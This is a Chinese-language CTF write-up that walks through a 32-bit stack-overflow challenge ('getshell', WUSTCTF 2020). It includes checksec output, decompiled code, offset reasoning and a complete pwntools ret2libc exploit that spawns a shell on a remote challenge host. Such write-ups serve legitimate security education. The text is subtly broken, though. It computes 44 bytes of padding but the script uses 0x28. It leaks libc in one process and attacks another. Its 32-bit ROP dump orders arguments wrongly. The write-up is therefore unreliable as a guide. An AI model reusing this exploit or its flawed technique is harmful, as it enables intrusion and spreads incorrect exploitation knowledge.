1. 题目背景与核心挑战解析
这道来自WUSTCTF 2020的pwn题"getshell"是典型的栈溢出漏洞利用场景。题目运行在x86架构下,保护机制仅开启了NX(No-eXecute),这意味着栈空间不可执行但我们可以通过ROP技术绕过。题目给出了二进制文件,通过逆向分析可以发现存在明显的read函数溢出漏洞——程序使用read读取用户输入时未对长度进行限制,导致可以覆盖返回地址。
在CTF比赛中,这类基础栈溢出题目往往考察以下几个核心能力:
- 逆向工程基础(使用IDA/Ghidra分析二进制)
- 漏洞点定位(识别危险函数调用)
- 偏移量计算(确定返回地址覆盖位置)
- payload构造(包含shellcode或ROP chain)
- 本地调试与远程利用(使用pwntools工具链)
2. 环境准备与逆向分析
2.1 基础环境配置
建议使用Ubuntu 18.04/20.04 LTS环境,安装以下工具:
sudo apt install gdb peda checksec python3-pip pip3 install pwntools ropgadget使用checksec检查二进制保护机制:
checksec getshell [*] '/tmp/getshell' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)2.2 IDA静态分析关键点
使用IDA Pro打开二进制文件,定位到main函数反编译视图:
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[32]; // [esp+0h] [ebp-28h] setvbuf(stdout, 0, 2, 0); puts("Try to getshell!"); read(0, buf, 0x100); return 0; }关键漏洞点:
- buf数组长度32字节,但read允许读取0x100(256)字节
- 无栈保护(canary)机制
- 32位架构下ebp占4字节,返回地址占4字节
2.3 栈结构可视化
函数调用时的栈布局如下:
+-----------------+ | buf[32] | <- ebp-0x28 +-----------------+ | ebp | <- ebp +-----------------+ | return address | <- ebp+0x4 +-----------------+计算覆盖返回地址需要的padding长度:
- buf到ebp距离:0x28 (40字节)
- ebp本身:4字节
- 总计需要40 + 4 = 44字节垃圾数据才能覆盖到返回地址
3. 漏洞利用开发实战
3.1 基础利用思路
由于NX保护开启,我们有两种利用方案:
- ret2libc:泄漏libc地址后调用system("/bin/sh")
- ROP链构造:利用现有gadget组合调用execve
本题选择更基础的ret2libc方案,步骤如下:
- 泄漏libc函数地址(如puts)
- 计算libc基址和system地址
- 构造第二次payload调用system("/bin/sh")
3.2 利用脚本开发
使用pwntools编写完整exp:
from pwn import * context(arch='i386', os='linux') elf = ELF('./getshell') libc = elf.libc if elf.libc else ELF('/lib/i386-linux-gnu/libc.so.6') # 本地调试或远程连接 def conn(): if args.REMOTE: return remote('node4.buuoj.cn', 25000) else: return process(elf.path) # 第一次泄漏libc地址 def leak_libc(): rop = ROP(elf) rop.puts(elf.got['puts']) rop.call(elf.sym['main']) payload = flat({ 0x28: rop.chain() }) io = conn() io.sendlineafter(b"Try to getshell!\n", payload) leak = u32(io.recv(4)) io.close() return leak # 计算libc基址 puts_addr = leak_libc() libc.address = puts_addr - libc.sym['puts'] system_addr = libc.sym['system'] bin_sh_addr = next(libc.search(b'/bin/sh\x00')) # 第二次getshell rop = ROP([elf, libc]) rop.system(bin_sh_addr) payload = flat({ 0x28: rop.chain() }) io = conn() io.sendlineafter(b"Try to getshell!\n", payload) io.interactive()3.3 关键点调试技巧
- 使用cyclic确定偏移:
gdb getshell r <<< $(cyclic 100) # 崩溃时查看eip值 cyclic -l 0x6161616c- 检查libc版本:
ldd getshell linux-gate.so.1 (0xf7fd1000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7da2000) /lib/ld-linux.so.2 (0xf7fd3000)- 验证ROP链:
print(rop.dump()) # 0x0000: 0x80484d1 pop ebx; ret # 0x0004: 0x804a018 [arg0] got.puts # 0x0008: 0x80483d0 puts # 0x000c: 0x8048526 main4. 进阶技巧与变种分析
4.1 无libc场景下的利用
当题目不提供libc时,可以通过以下方式处理:
- 泄漏多个函数地址(如puts+read)
- 使用libc-database查询匹配的libc版本
- 下载对应libc后重新计算偏移
4.2 栈对齐问题处理
在调用system时可能遇到栈对齐问题,解决方法:
- 在ROP链中添加ret gadget调整栈指针
- 使用mov esp, ebp等gadget重置栈帧
4.3 其他保护机制的影响
如果题目开启更多保护时的应对策略:
- PIE:需要先泄漏程序基址
- Full RELRO:无法修改GOT表,需转向其他利用方式
- Canary:需要先泄漏canary值
5. 实战中的常见问题排查
- 泄漏地址不正确:
- 检查puts是否真的输出完整地址(recv(4)可能不完整)
- 确认接收数据前没有其他输出干扰
- system调用崩溃:
- 检查/bin/sh地址是否正确(使用search确认)
- 添加ret gadget解决栈对齐问题
- 远程与本地差异:
- 使用ldd检查远程libc版本
- 考虑网络延迟导致的交互问题(添加timeout)
- payload构造错误:
- 使用hexdump检查实际发送内容
- 在gdb中单步跟踪执行流程
6. 防御方案与出题思路
从防御角度,这道题展示了几个关键点:
- 永远不要信任用户输入长度
- 现代保护机制(NX/ASLR)的重要性
- 安全编程中数组边界检查的必要性
出题人可以通过以下方式增加难度:
- 限制输入长度(刚好够覆盖返回地址)
- 移除所有有用gadget(需要更复杂的ROP)
- 使用非常规libc版本
- 添加栈随机化(需要先泄漏栈地址)
7. 扩展学习资源推荐
- 经典教材:
- 《Hacking: The Art of Exploitation》
- 《漏洞利用与渗透测试基础》
- 在线实验平台:
- pwnable.kr
- pwnable.tw
- microcorruption.com
- 工具链进阶:
- pwndbg插件增强gdb功能
- ROPgadget自动化工具
- angr符号执行框架
在实际漏洞利用开发过程中,最重要的是培养系统化的调试思维。建议从简单题目开始,逐步构建自己的漏洞利用工具箱,记录每种保护机制下的绕过方法。这道WUSTCTF的getshell题目虽然基础,但涵盖了栈溢出利用的核心技术点,是学习二进制安全的绝佳入门案例。